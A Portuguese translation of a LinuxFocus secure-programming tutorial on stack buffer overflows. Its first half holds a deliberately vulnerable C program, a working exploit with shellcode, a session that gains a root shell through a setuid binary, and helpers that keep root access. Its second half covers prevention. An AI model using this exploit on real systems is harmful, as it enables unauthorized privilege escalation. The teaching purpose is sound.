<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"
"http://www.w3.org/TR/REC-html40/loose.dtd">
<HTML>
<HEAD>
<META name="generator" content="HTML Tidy, see www.w3.org">
<TITLE>Secure programming - Part 3</TITLE>
</HEAD>
<BODY>
<H1>Evitando Falhas de Seguran�a ao desenvolver uma aplica��o - Parte 3: "buffer overflow"</H1> 

<H4>ArticleCategory:</H4>

Software Development 

<H4>AuthorImage:</H4>

<IMG src="../../common/images/FredCrisBCrisG.jpg" alt=
"[image of the authors]" width="200" height="150"> 

<H4>TranslationInfo:</H4>

<P>Original in fr <A href=
"mailto:pappy@users.sourceforge.net,ccb@club-internet.fr,grenier@nef.esiea.fr">
Fr&eacute;d&eacute;ric Raynal, Christophe Blaess, Christophe
Grenier</A></P>

<P>fr to en <A href="mailto:georges.t@linuxfocus.org">Georges Tarbouriech</A></P>
<P>en to pt <A href="mailto:bruno@linuxfocus.org">Bruno Sousa</A></P>

<H4>AboutTheAuthor:</H4>

<P>O Christophe Blaess � um engenheiro aeron�utico independente. Ele � um f�n do 
Linux e faz muito do seu trabalho neste sistema. Coordena a tradu��o das p�ginas 
man publicadas no <I>Projecto de Documenta��o do Linux</I>.</P>

<P>O Christophe Grenier � um estudante no 5� ano na ESIEA, onde, tamb�m trabalha como 
administrador de sistema. Tem uma paix�o por seguran�a de computadores.</P>

<p>O Frederic Raynal tem utilizado o Linux desde h� alguns anos
porque n�o polui, n�o usa hormonas, n�o usa MSG ou
farinha animal ... reclama somente o suor e a ast�cia.</p>

<H4>Abstract</H4>

Neste artigo introduzimos um "buffer overflow" numa aplica��o real.
Mostrar-lhe-emos uma falha de seguran�a de f�cil explora��o e o modo como
evit�-la.
Este artigo parte do pressuposto que j� leu os 2 artigos anteriores:
<ul>
<li><a href="../January2001/article182.shtml">Evitando falhas de seguran�a ao
desenvolver uma aplica��o - Parte 1</a>
<li><a href="../March2001/article183.shtml">Evitando falhas de seguran�a ao
desenvolver uma aplica��o - Parte 2: mem�ria, pilha e fun��es
, c�digo da shell</a>
</ul>


<H4>ArticleIllustration:[illustration]</H4>

<IMG src="../../common/images/illustration183.gif" width="100" height=
"100" alt="[article illustration]" hspace="10"> 

<H4>ArticleBody:[The real article: put the text and html-codes
here]</H4>

<H3>"Buffer overflows"</H3>


<P>No nosso artigo anterior escrevemos um programa pequeno com cerca de 50 bytes
e fomos capazes de iniciar a linha de comandos ou sair no caso de erro. Agora
devemos inserir este c�digo na aplica��o que queremos atacar. Isto � feito
atrav�s da substitui��o do endere�o de retorno de uma fun��o pelo endere�o do
c�digo da nossa linha de comandos. Consegue fazer isto for�ando os limites de
uma vari�vel autom�tica alocada na pilha do processo.

<P>Por exemplo, no programa seguinte copi�mos a string dada no primeiro
argumento da linha de comandos para um buffer de 500 bytes. Esta c�pia � feita
sem se verificar se � excedido o tamanho do buffer. Como veremos mais tarde
o uso da fun��o <CODE>strncpy()</CODE> permite-nos evitar este problema.</P>

<PRE>
  /* vulnerable.c */

  #include &lt;string.h&gt;

  int main(int argc, char * argv [])
  {
    char buffer [500];

    if (argc &gt; 1)
    strcpy(buffer, argv[1]);
    return (0);
  }
</PRE>

<P><CODE>buffer</CODE> � uma vari�vel autom�tica, o espa�o utilizado pelos
500&nbsp;bytes � reservado logo que se entra na fun��o <CODE>main()</CODE>.
Ao Correr o programa <CODE>vulnerable</CODE> com um argumento superior a 500
caracteres, os dados excedem a capacidade do buffer e "invade" a pilha do
processo. Como vimos anteriormente a pilha guarda o endere�o da pr�xima
instru��o a ser executada (tamb�m conhecida como <EM>endere�o de retorno</EM>). Para
explorar este buraco de seguran�a basta substituir o endere�o de retorno da
fun��o pelo endere�o do c�digo da shell a ser executado. Este c�digo da shell �
inserido no corpo do buffer seguido de um endere�o de mem�ria.</P>

<H2>Posi��o na mem�ria</H2>


<P>Obter o endere�o de mem�ria do c�digo da shell � uma opera��o delicada.
Devemos descobrir a "diferen�a" entre o registo <CODE>%esp</CODE>, que aponta
para o topo da pilha e o endere�o do c�digo da shell. Para beneficiar de uma
margem de seguran�a, o princ�pio do buffer � preenchido com a instru��o
assembler <CODE>NOP</CODE>; � uma instru��o de 1 byte neutra, sem qualquer
efeito. Ent�o quando o endere�o de in�cio aponta para o endere�o antes do
verdadeiro c�digo da shell, o CPU vai de <CODE>NOP</CODE> em <CODE>NOP</CODE>
at� alcan�ar o in�cio do nosso c�digo. Para optimizar o nosso desafio pomos o
c�digo da shell no meio do buffer, seguido do endere�o de in�cio repetidamente
at� ao fim, e precedido de um bloco <CODE>NOP</CODE>. 
O <A href="#buffer">diagrama 1</A> ilustra isto:</P>


<CENTER>
<TABLE width="90%" nosave="">
<CAPTION align="BOTTOM"><A name="buffer" href="#buffer">Diag. 1</A> :
buffer preenchido de um modo especial para a sua explora��o.</CAPTION>

<TR>
<TD><IMG src="../../common/images/article190/art_03_01.gif" alt=
"[buffer]"></TD>
</TR>
</TABLE>
</CENTER>

<BR>
<BR>
<P><A href="#aligne">O Diagrama 2</A> descreve o estado da pilha antes e depois
do overflow. Causando a substitui��o da informa��o salvaguardada 
(salvo <CODE>%ebp</CODE>, salvo <CODE>%eip</CODE>, argumentos,...) pelo nosso
endere�o de retorno esperado: O endere�o de in�cio de uma parte do buffer onde
se mete o nosso c�digo da shell.</P>

<CENTER>
<TABLE width="80%" border="2" cols="2" nosave="">
<CAPTION align="BOTTOM"><A name="avt_apr" href="#avt_apr">Diag. 2</A> :
estado da pilha antes e depois do overflow</CAPTION>

<TR>
<TD>
<CENTER><IMG src="../../common/images/article190/pile_bef.gif" alt=
"pile_bef.gif"></CENTER>
</TD>
<TD>
<CENTER><IMG src="../../common/images/article190/pile_aft.gif" alt=
"pile_aft.gif"></CENTER>
</TD>
</TR>

<TR>
<TD>
<CENTER>Antes</CENTER>
</TD>
<TD>
<CENTER>Depois</CENTER>
</TD>
</TR>
</TABLE>
</CENTER>

<BR>
<BR>
<P>Contudo existe um outro problema relacionado com o alinhamento das vari�veis
na pilha. Um endere�o � superior a 1 byte e por isso guardado em v�rios bytes, o
que leva a que o alinhamento na pilha n�o se "encaixe" exactamente. Processos de
resolu��o de problemas (Trial and error) encontram o alinhamento correcto.
Como o nosso CPU utiliza palavras de 4 bytes o alinhamento � 0, 1, 2 ou 3 bytes
(verifique <A href="../March2001/article183.shtml">Parte 2 do artigo 183</A>
acerca da organiza��o da pilha).
No <A href="#aligne">diagrama 3</A>, as partes a cinzento correspondem aos 4
bytes escritos. No primeiro caso onde o endere�o de retorno � completamente
substitu�do pelo alinhamento correcto � o �nico que funcionar�. Os outros
levam-nos a erros do tipo <CODE>segmentation violation</CODE> ou <CODE>illegal instruction</CODE>
Este meio de procura emp�rico trabalha bem visto que os computadores dos nossos
dias permitem-nos tal tipo de teste.</P>

<CENTER>
<TABLE width="90%" nosave="">
<CAPTION align="BOTTOM"><A name="aligne" href="#aligne">Diag. 3</A> :
alinhamento poss�vel para as palavras de 4 bytes </CAPTION>

<TR>
<TD><IMG src="../../common/images/article190/align-en.png" alt=
"[align]"></TD>
</TR>
</TABLE>
</CENTER>

<H2>Lan�ando o Programa</H2>


<P>Vamos agora escrever um programa pequeno para lan�ar uma aplica��o vulner�vel
escrevendo dados que excedem a pilha. Este programa disp�e de v�rias op��es para
posicionar o c�digo da shell na mem�ria, escolha ent�o um programa a correr.
Esta vers�o inspirada no artigo de Aleph One da edi��o 49 da revista
<EM>phrack</EM>, est� dispon�vel no site de Christophe Grenier.</P> 

<P>Como � que enviamos o nosso buffer preparado para a aplica��o de destino ?
Normalmente, podemos utilizar um par�metro da linha de comandos como o
<CODE>vulnerable.c</CODE> ou uma  vari�vel de ambiente. O overflow
pode ser causado a partir de linhas digitadas pelo utilizador (algo mais
dif�cil) ou lidas a partir de um ficheiro.</P>

<P>O programa <CODE>generic_exploit.c</CODE> come�a por alocar o tamanho
correcto do buffer, de seguida copia o c�digo da shell e preenche-o com os
endere�os e os c�digos NOP, como explicado anteriormente. Depois prepara um
array de argumentos e corre a aplica��o de destino utilizando a instru��o 
<CODE>execve()</CODE>, esta �ltima substitui��o substitu� o processo corrente
pelo invocado. O programa <CODE>generic_exploit</CODE> precisa de saber o
tamanho do buffer para explorar ( um pouco maior que o seu tamanho para ser capaz
de escrever o endere�o de retorno), o tamanho da mem�ria e o alinhamento.
Indicamos se o buffer � passado a partir da linha de comandos
(<CODE>novar</CODE>) ou se � uma vari�vel de ambiente (<CODE>var</CODE>)
O argumento  <CODE>force/noforce</CODE> determina se a chamada corre a fun��o
<CODE>setuid()/setgid()</CODE> a partir do c�digo da shell.</P> 

<PRE>
<small>
/* generic_exploit.c */

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;
#include &lt;sys/stat.h&gt;
#define NOP                     0x90

char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\xff\x31\xc0\x88\x46\xff\x89\x46\xff\xb0\x0b"
        "\x89\xf3\x8d\x4e\xff\x8d\x56\xff\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff";

unsigned long get_sp(void)
{
   __asm__("movl %esp,%eax");
}

#define A_BSIZE     1
#define A_OFFSET    2
#define A_ALIGN     3
#define A_VAR       4
#define A_FORCE     5
#define A_PROG2RUN  6
#define A_TARGET    7
#define A_ARG       8

int main(int argc, char *argv[])
{
   char *buff, *ptr;
   char **args;
   long addr;
   int offset, bsize;
   int i,j,n;
   struct stat stat_struct;
   int align;
   if(argc &lt; A_ARG)
   {
      printf("USAGE: %s bsize offset align (var / novar)
             (force/noforce) prog2run target param\n", argv[0]);
      return -1;
   }
   if(stat(argv[A_TARGET],&amp;stat_struct))
   {
     printf("\nCannot stat %s\n", argv[A_TARGET]);
     return 1;
   }
   bsize  = atoi(argv[A_BSIZE]);
   offset = atoi(argv[A_OFFSET]);
   align  = atoi(argv[A_ALIGN]);

   if(!(buff = malloc(bsize)))
   {
      printf("Can't allocate memory.\n");
      exit(0);
   }

   addr = get_sp() + offset;
   printf("bsize %d, offset %d\n", bsize, offset);
   printf("Using address: 0lx%lx\n", addr);

   for(i = 0; i &lt; bsize; i+=4) *(long*)(&amp;buff[i]+align) = addr;

   for(i = 0; i &lt; bsize/2; i++) buff[i] = NOP;

   ptr = buff + ((bsize/2) - strlen(shellcode) - strlen(argv[4]));
   if(strcmp(argv[A_FORCE],"force")==0)
   {
     if(S_ISUID&amp;stat_struct.st_mode)
     {
       printf("uid %d\n", stat_struct.st_uid);
       *(ptr++)= 0x31;          /* xorl %eax,%eax   */
       *(ptr++)= 0xc0;
       *(ptr++)= 0x31;          /* xorl %ebx,%ebx   */
       *(ptr++)= 0xdb;
       if(stat_struct.st_uid &amp; 0xFF)
       {
     *(ptr++)= 0xb3;        /* movb $0x??,%bl   */
     *(ptr++)= stat_struct.st_uid;
       }
       if(stat_struct.st_uid &amp; 0xFF00)
       {
     *(ptr++)= 0xb7;        /* movb $0x??,%bh   */
     *(ptr++)= stat_struct.st_uid;
       }
       *(ptr++)= 0xb0;          /* movb $0x17,%al   */
       *(ptr++)= 0x17;
       *(ptr++)= 0xcd;          /* int $0x80        */
       *(ptr++)= 0x80;
     }
     if(S_ISGID&amp;stat_struct.st_mode)
     {
       printf("gid %d\n", stat_struct.st_gid);
       *(ptr++)= 0x31;          /* xorl %eax,%eax   */
       *(ptr++)= 0xc0;
       *(ptr++)= 0x31;          /* xorl %ebx,%ebx   */
       *(ptr++)= 0xdb;
       if(stat_struct.st_gid &amp; 0xFF)
       {
     *(ptr++)= 0xb3;        /* movb $0x??,%bl   */
     *(ptr++)= stat_struct.st_gid;
       }
       if(stat_struct.st_gid &amp; 0xFF00)
       {
     *(ptr++)= 0xb7;        /* movb $0x??,%bh   */
     *(ptr++)= stat_struct.st_gid;
       }
       *(ptr++)= 0xb0;          /* movb $0x2e,%al   */
       *(ptr++)= 0x2e;
       *(ptr++)= 0xcd;          /* int $0x80        */
       *(ptr++)= 0x80;
     }
   }
   /* Patch shellcode */
   n=strlen(argv[A_PROG2RUN]);
   shellcode[13] = shellcode[23] = n + 5;
   shellcode[5] = shellcode[20] = n + 1;
   shellcode[10] = n;
   for(i = 0; i &lt; strlen(shellcode); i++) *(ptr++) = shellcode[i];
   /* Copy prog2run */
   printf("Shellcode will start %s\n", argv[A_PROG2RUN]);
   memcpy(ptr,argv[A_PROG2RUN],strlen(argv[A_PROG2RUN]));

   buff[bsize - 1] = '\0';

   args = (char**)malloc(sizeof(char*) * (argc - A_TARGET + 3));
   j=0;
   for(i = A_TARGET; i &lt; argc; i++)
     args[j++] = argv[i];
   if(strcmp(argv[A_VAR],"novar")==0)
   {
     args[j++]=buff;
     args[j++]=NULL;
     return execve(args[0],args,NULL);
   }
   else
   {
     setenv(argv[A_VAR],buff,1);
     args[j++]=NULL;
     return execv(args[0],args);
   }
}
</small>
</PRE>

<P>Para beneficiar do <CODE>vulnerable.c</CODE>, devemos ter um buffer maior que
o esperado pela aplica��o. Por exemplo seleccionamos 600 bytes em vez dos 500
esperados. Descobrimos o endere�o relativo ao topo da pilha atrav�s de
testes sucessivos.
O endere�o � constru�do com a instru��o <CODE>addr = get_sp() + offset;</CODE> e
a substitui��o do endere�o de retorno � obtido com ... um pouco de sorte !
A opera��o efectuada assenta na heur�stica de que o registo <CODE>%esp</CODE> n�o
� muito alterado no decorrer do processo corrente e no processo chamado no fim
do programa. 
Praticamente, nada � certo : v�rios eventos podem modificar o estado da pilha
desde o tempo de computa��o ao tempo da chamada da explora��o. 
Aqui n�s conseguimos activar o "overflow explor�vel" com um offset de -1900
bytes. E claro que para completar a experi�ncia, o c�digo de destino
<CODE>vulnerable</CODE> deve ser o Set-UID <EM>root</EM>.</P>

<PRE>
  $ cc vulnerable.c -o vulnerable
  $ cc generic_exploit.c -o generic_exploit
  $ su
  Password:
  # chown root.root vulnerable
  # chmod u+s vulnerable
  # exit
  $ ls -l vulnerable
  -rws--x--x   1 root     root        11732 Dec  5 15:50 vulnerable
  $ ./generic_exploit 600 -1900 0 novar noforce /bin/sh ./vulnerable
  bsize 600, offset -1900
  Using address: 0lxbffffe54
  Shellcode will start /bin/sh
  bash# id
  uid=1000(raynal) gid=100(users) euid=0(root) groups=100(users)
  bash# exit
  $ ./generic_exploit 600 -1900 0 novar force /bin/sh /tmp/vulnerable
  bsize 600, offset -1900
  Using address: 0lxbffffe64
  uid 0
  Shellcode will start /bin/sh
  bash# id
  uid=0(root) gid=100(users) groups=100(users)
  bash# exit
</PRE>

No primeiro caso  (<CODE>noforce</CODE>), o nosso <CODE>uid</CODE> n�o se
altera. 
N�o obstante temos um novo <CODE>euid</CODE> que nos d� todas as permiss�es.
Mesmo que o <CODE>vi</CODE> diga, ao editar o ficheiro
<CODE>/etc/passwd</CODE> que s� � de leitura, podemos na mesma escrever no
ficheiro e todas as altera��es trabalhar�o: (for�ando a salvaguarda com
<CODE>:w!</CODE> :) 
O par�metro <CODE>force</CODE> permite-nos ter o 
<CODE>uid=euid=0</CODE> desde o in�cio.

<P>Para encontrar automaticamente os valores do "offset" para o overflow
pode - se utilizar a seguinte pequena shell script:</P>

<PRE>
 #! /bin/sh
 # find_exploit.sh
  BUFFER=600
  OFFSET=$BUFFER
  OFFSET_MAX=2000
  while [ $OFFSET -lt $OFFSET_MAX ] ; do
    echo "Offset = $OFFSET"
    ./generic_exploit $BUFFER $OFFSET 0 novar force /bin/sh ./vulnerable
    OFFSET=$(($OFFSET + 4))
  done
</PRE>

Na nossa explora��o n�o tivemos em conta os potenciais problemas do alinhamento.
Assim sendo � poss�vel que este exemplo n�o funcione consigo para os mesmos
valores, ou n�o trabalhe de forma alguma devido ao alinhamento.
(De qualquer maneira para os que querem testar, o par�metro do alinhamento tem de
ser alterado para 1, 2 ou 3 (aqui, 0). Alguns sistemas n�o suportam a escrita nas
�reas de mem�ria n�o sendo uma palavra inteira, o que n�o � verdade para o
Linux. 

<H2>Problemas da(s) Shell(s)</H2>


<P>Infelizmente, por vezes a shell obtida torna-se in�til visto que termina por
si mesma ou quando se prime uma tecla. Usamos um outro programa para manter os
privil�gios que com tanto cuidado adquirimos:</P>

<PRE>
/* set_run_shell.c */
#include &lt;unistd.h&gt;
#include &lt;sys/stat.h&gt;

int main()
{
  chown ("/tmp/run_shell", geteuid(), getegid());
  chmod ("/tmp/run_shell", 06755);
  return 0;
}
</PRE>

<P>Visto que o nosso explorador s� � capaz de fazer uma tarefa de cada vez,
vamos transferir os direitos ganhos com o programa <CODE>run_shell</CODE>,
com a ajuda do programa <CODE>set_run_shell</CODE>. Conquistando a shell
desejada.</P>

<PRE>
/* run_shell.c */
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/stat.h&gt;

int main()
{
  setuid(geteuid());
  setgid(getegid());
  execl("/tmp/shell","shell","-i",0);
  exit (0);
}
</PRE>

A Op��o <CODE>-i</CODE> corresponde � <CODE>interactiva</CODE>. Porque n�o
atribu�mos os direitos directamente � shell ? Porque nem todas as shell
suportam o bit <CODE>s</CODE>. As vers�es mais recentes verificam se o uid
� igual ao euid, o mesmo para o gid e egid. Assim a <CODE>bash2</CODE> e a
<CODE>tcsh</CODE> incorporam esta linha de defesa, mas nem a
<CODE>bash</CODE>, e a  <CODE>ash</CODE> o incorporam. Este m�todo tem de
ser redefinido quando a parti��o onde a <CODE>run_shell</CODE> est�
localizada (aqui, <CODE>/tmp</CODE>) est� montado em 
<CODE>nosuid</CODE> ou <CODE>noexec</CODE>.

<H2>Preven��o</H2>


<P>Como temos um programa Set-UID com um bug de buffer overflow e o seu
c�digo fonte, somos capazes de preparar um ataque que permite a execu��o do
c�digo arbitrariamente sem importar o ID ou dono do ficheiro. Contudo o
nosso objectivo � evitar as falhas de seguran�a. Vamos agora examinar
algumas regras que previnem o buffer overflow.</P>

<H2>Verificando os �ndices</H2>


<P>A primeira regra a seguir � uma quest�o de bom senso : os �ndices usados
para manipular um vector devem ser verificados cuidadosamente. Um ciclo
mal�cioso � algo do tipo :</P> 

<PRE>
  for (i = 0; i &lt;= n; i ++) {
    table [i] = ...
</PRE>

transporta consigo, provavelmente, um erro devido ao <CODE>&lt;=</CODE> em
vez de <CODE>&lt;</CODE> visto que h� um acesso para al�m do vector. � f�cil
de ver isto neste ciclo, contudo � mais dif�cil de detectar quando se
utilizam �ndices decrescentes, pois temos que garantir que n�o vamos para
al�m do zero. � parte deste caso trivial <CODE>for(i=0; i&lt;n ;
i++)</CODE>, deve sempre verificar o algoritmo v�rias vezes (at� mesmo
pedir a algu�m para o verificar), em especial quando h� altera��o do �ndice
dentro do ciclo.

<P>O mesmo tipo de problema encontra-se tamb�m nas strings : deve sempre
lembrar-se de adicionar um byte a mais para o caracter null de fim da string.
Um dos erros mais comuns dos novatos consiste no esquecimento do caracter
de fim das strings. O pior � que � dif�cil de diagnosticar visto que o
alinhamento imprevis�vel das vari�veis podem esconder o problema (mesmo
compilando com informa��o de debug).</P>

<P>N�o subestime a regra dos �ndices relativamente � seguran�a de aplica��o.
Vimos (verifique a edi��o 55 da <EM>Phrack</EM>) que um s� byte de overflow
� suficiente para provocar uma falha de seguran�a, inserindo o c�digo da
shell dentro de uma vari�vel de ambiente, por exemplo. </P>

<PRE>
  #define BUFFER_SIZE 128

  void foo(void) {

    char buffer[BUFFER_SIZE+1];

    /* end of string */
    buffer[BUFFER_SIZE] = '\0';

    for (i = 0; i&lt;BUFFER_SIZE; i++)
      buffer[i] = ...
  }
</PRE>

<H2>Usando as Fun��es n</H2>


Por conven��o as fun��es da biblioteca standard do C conseguem lidar com o
fim das string devido ao byte null. Por exemplo a fun��o
<CODE>strcpy(3)</CODE> copia o conte�do da string original para uma string
de destino at� alcan�ar o byte null. Nalguns casos este comportamento �
perigoso; vemos que o c�digo seguinte cont�m uma falha de seguran�a :

<PRE>
  #define LG_IDENT 128

  int fonction (const char * name)
  {
    char identity [LG_IDENT];
    strcpy (identity, name);
    ...
  }
</PRE>

Fun��es que limitam o tamanho da c�pia evitam este problema. Estas fun��es
t�m um '<CODE>n</CODE>' no meio do seu nome, por exemplo
<CODE>strncpy(3)</CODE> como substituta da <CODE>strcpy(3)</CODE>,
<CODE>strncat(3)</CODE> para <CODE>strcat(3)</CODE> ou at� mesmo
<CODE>strnlen(3)</CODE> para <CODE>strlen(3)</CODE>.

<P>Contudo, tem de ter cuidado com a limita��o da <CODE>strncpy(3)</CODE>
visto que tem efeitos indesej�veis : quando a string original � mais
pequena que a de destino, a c�pia � completada com os caracteres null, at�
se atingir o limite <EM>n</EM>, deformando a performance da aplica��o. 
Por outro lado, se a string de origem � maior, a c�pia ser� truncada e n�o
terminar� com o caracter null. T�m de adicionar manualmente. Tendo isto em
conta, a rotina anterior ficaria :</P>

<PRE>
  #define LG_IDENT 128

  int fonction (const char * name)
  {
    char identity [LG_IDENT+1];
    strncpy (identity, name, LG_IDENT);
    identity [LG_IDENT] = '\0';
    ...
  }
</PRE>

Claro que os mesmos princ�pios se aplicam a caracteres "grandes" (com mais
de 8 bits), por exemplo <CODE>wcsncpy(3)</CODE> devia ser preferida em vez
de <CODE>wcscpy(3)</CODE> ou <CODE>wcsncat(3)</CODE> em vez de 
<CODE>wcscat(3)</CODE>. Claro que o programa se torna maior, mas a
seguran�a tamb�m aumenta.

<P>Como o <CODE>strcpy()</CODE>, o <CODE>strcat(3)</CODE> n�o verificam o
tamanho do buffer. A fun��o <CODE>strncat(3)</CODE> adiciona um caracter ao
fim da string  se encontra espa�o para tal. Substituindo 
<CODE>strcat(buffer1, buffer2);</CODE> por <CODE>strncat(buffer1,
buffer2, sizeof(buffer1)-1);</CODE> eliminamos o risco. </P>

<P>O fun��o <CODE>sprintf()</CODE> permite-nos copiar os dados formatados
para uma string. T�m tamb�m uma vers�o que verifica o n�mero de bytes a
copiar: <CODE>snprintf()</CODE>. Esta fun��o retorna o n�mero de caracteres
escritos na string de destino (sem ter em conta o '\0'). Testando os
valores retornados � poss�vel saber se a escrita foi ou n�o bem feita :
</P>

<PRE>
  if (snprintf(dst, sizeof(dst) - 1, "%s", src) &gt; sizeof(dst) - 1) {
    /* Overflow */
    ...
  }
</PRE>

<P>Obviamente, que estas precau��es de nada acrescentam se o utilizador
controlar correctamente o n�mero de bytes a copiar. Uma falha de seguran�a
no BIND (Berkeley Internet Name Daemon) foi a origem de muitas piratarias :</P>

<PRE>
  struct hosten *hp;
  unsigned long address;

  ...

  /* copy of an address */
  memcpy(&amp;address, hp-&gt;h_addr_list[0], hp-&gt;h_length);
  ...

</PRE>

Normalmente deveriam ser copiados 4 bytes. Mas contudo, se conseguir
alterar <CODE>hp-&gt;h_length</CODE>, ent�o � capaz de alterar a pilha. �
imprescind�vel a verifica��o do tamanho dos dados antes de copiar :

<PRE>
  struct hosten *hp;
  unsigned long address;

  ...

  /* test */
  if (hp-&gt;h_length &gt; sizeof(address))
    return 0;

  /* copy of an address */
  memcpy(&amp;address, hp-&gt;h_addr_list[0], hp-&gt;h_length);
  ...
</PRE>

Nalgumas circunst�ncias � imposs�vel de truncar deste modo (caminho,
nome da m�quina, URL...) e estas verifica��es t�m de ser feitas mas cedo no
programa, logo que os dados s�o inseridos.

<H2>Validando os dados em dois passos</H2>


Um programa a correr com privil�gios que n�o os do seu utilizador implica
uma protec��o de todos os dados e que se considere todos os dados de
entrada como suspeitos. 

<P>Primeiro de tudo, est�o implicadas as rotinas de entrada dos dados. Indo
ao encontro do que foi dito, n�o deixamos de insistir que <EM>nunca</EM>
utilize a fun��o <CODE>gets(char *array)</CODE> visto que o tamanho n�o �
verificado (nota dos autores : esta rotina devia ser proibida pelo
compilador para novos compiladores). Existem ainda mais riscos dissimulados
na fun��o <CODE>scanf()</CODE>. A linha </P>

<PRE>
scanf ("%s", string)
</PRE>

� t�o perigosa como <CODE>gets(char *array)</CODE>, mas n�o � t�o �bvio.
Contudo a fam�lia da fun��o <CODE>scanf()</CODE> oferecem mecanismos de
controlo no tamanho dos dados :

<PRE>
  char buffer[256];
  scanf("%255s", buffer);
</PRE>

Esta formata��o limita para 255 o n�mero de caracteres copiado para o
<CODE>buffer</CODE>. Por outro lado, a fun��o <CODE>scanf()</CODE> rejeita
todos os caracteres que n�o lhe agradam (por exemplo uma letra que requer
acento), da� que os riscos s�o bastante elevados.

<P>Usando o C++, a stream <CODE>cin</CODE> substitui todas as
fun��es cl�ssicas utilizadas no C (ainda que as use). O programa seguinte
preenche um buffer :</P>

<PRE>
  char buffer[500];
  cin&gt;&gt;buffer;
</PRE>

Como pode ver, ela n�o faz nenhum teste ! Estamos numa situa��o semelhante
� fun��o <CODE>gets(char *array)</CODE> aquando do C : eis uma porta
amplamente aberta. O membro da fun��o <CODE>ios::width()</CODE> permite
fixar o n�mero m�ximo de caracteres a serem lidos.

<P>A leitura dos dados requer dois passos. A primeira fase consiste em
obter a string com <CODE>fgets(char *array, int size, FILE
stream)</CODE>, que limita a �rea da mem�ria utilizada. A seguir os dados
lidos s�o formatados atrav�s da fun��o <CODE>sscanf()</CODE> por exemplo. A
primeira fase pode fazer mais, <CODE>fgets(char *array, int size, FILE
stream)</CODE> como inserindo num ciclo autom�tico a
aloca��o da mem�ria requerida, sem limites arbitr�rios. 
A extens�o Gnu <CODE>getline()</CODE> pode fazer isto por si. � poss�vel
incluir a valida��o dos caracteres digitados, usando <CODE>isalnum()</CODE>,
<CODE>isprint()</CODE>, etc. A fun��o <CODE>strspn()</CODE> permite um
filtro eficaz. O programa fica um pouco mais lento, mas as partes mais
sens�veis do programa ficam protegidas por um casaco � prova de balas de dados ilegais
.</P>

<P>A entrada directa dos dados n�o � o �nico ponto de entrada suscept�vel
de ataques. Os ficheiros de dados manipulados pelo software, tamb�m s�o
vulner�veis, contudo o c�digo escrito para a sua leitura est� mais bem
protegido do que as entradas da consola visto que os programadores n�o
confiam no conte�do dos ficheiros fornecidos pelo utilizador.</P>

<P>Existe ainda um outro ponto fraco frequentemente explorado nos ataques
de buffer overflow : as vari�veis de ambiente. N�o nos devemos esquecer que
um programador pode configurar o ambiente do processo antes de o executar.
A conven��o diz que uma vari�vel de ambiente deve ser do tipo "<CODE>NAME=VALUE</CODE>"
podendo ser explorada por um utilizador mal intencionado. A utiliza��o da
rotina <CODE>getenv()</CODE> requer alguma precau��o, especialmente quando
� sobre o tamanho da string retornada (arbitrariamente longo) e o seu
conte�do (onde pode encontrar algum caracter do tipo, `<CODE>=</CODE>'
inclu�do). A vari�vel retornada por <CODE>getenv()</CODE> ser� tratado como
se fosse fornecida por <CODE>fgets(char *array, int size, FILE stream)</CODE>,
tendo em conta o seu tamanho e validada caracter a caracter.</P>

<P>A utiliza��o destes filtros deve ser como o acesso a um computador : por
defeito TUDO deve ser proibido ! A seguir � que se d� acesso a algumas
coisas :</P>

<PRE>
  #define GOOD "abcdefghijklmnopqrstuvwxyz\
                BCDEFGHIJKLMNOPQRSTUVWXYZ\
                1234567890_"

  char *my_getenv(char *var) {
    char *data, *ptr

    /* Getting the data */
    data = getenv(var);

    /* Filtering
       Rem : obviously the replacement character must be
             in the list of the allowed ones !!!
    */
    for (ptr = data; *(ptr += strspn(ptr, GOOD));)
      *ptr = '_';

    return data;
  }
</PRE>

<P>A fun��o <CODE>strspn()</CODE> torna-o mais f�cil : procura o primeiro
caracter que n�o faz parte dos bons caracteres. Retorna o tamanho da string
(a come�ar em 0) contendo somente caracteres v�lidos. Nunca deve aplicar a
l�gica inversa. N�o valide contra os caracteres que n�o deseja, mas sim
contra os "bons" caracteres.</P> 

<H2>Utilizando buffers din�micos</H2>


<P>O Buffer overflow assenta na substitui��o do conte�do de uma vari�vel na
pilha e alterando o endere�o de retorno de uma vari�vel. O ataque envolve
vari�veis autom�ticas, que s�o somente alocadas na pilha. Um modo de
contornar o problema � a substitui��o das tabelas de caracteres alocados na
pilha por vari�veis din�micas que se encontram na <EM>fila (heap)</EM>.
Aplicando isto, fazemos a substitui��o da sequ�ncia</P>

<PRE>
  #define LG_STRING    128
  int fonction (...)
  {
    char array [LG_STRING];
    ...
    return (result);
  }
</PRE>

por :

<PRE>
  #define LG_STRING    128
  int fonction (...)
  {
    char *string = NULL;
    if ((string = malloc (LG_STRING)) == NULL)
        return (-1);
    memset(string,'\0',LG_STRING);
    [...]
    free (string);
    return (result);
  }
</PRE>

Estas linha alteram o c�digo de uma forma importante e levam a outro risco
como a falta de mem�ria, mas devemos aproveitar a vantagem destas
modifica��es e evitar a imposi��o de limites arbitr�rios para o tamanho. 
Adicionemos que pode esperar o mesmo resultado com a fun��o
<CODE>alloca()</CODE>. O c�digo � semelhante mas <EM>alloca</EM> aloca os
dados na pilha do processo o que nos leva ao mesmo problema das vari�veis
autom�ticas. Inicializando a mem�ria a zero utilizando
<CODE>memset()</CODE> evita-nos alguns problemas com vari�veis n�o
inicializadas. Mas mais uma vez o problema n�o � corrigido a explora��o n�o
fica � t�o trivial. Os interessados em continuar com a mat�ria podem ler o
artigo acerca de Heap Overflows de w00w00. 

<P>Por �ltimo, digamos que � poss�vel sobre algumas circunst�ncias obter
rapidamente algumas falhas de seguran�a adicionando a palavra
<CODE>static</CODE> � declara��o do buffer 
O compilador aloca esta vari�vel no segmento de dados e n�o na pilha do
processo. Torna-se imposs�vel de obter a shell, mas n�o nos resolve o
problema de um ataque DoS (Nega��o de Servi�o).
Claro que isto n�o trabalhar� se a rotina for chamada recursivamente.
A cura tem de ser considerada como um analg�sico, utilizado somente para
eliminar uma falha de seguran�a numa emerg�ncia sem alterar muito
c�digo.</P>

<H2>Conclus�o</H2>


Esperamos que esta artigo acerca do buffer overflow o ajude a programar
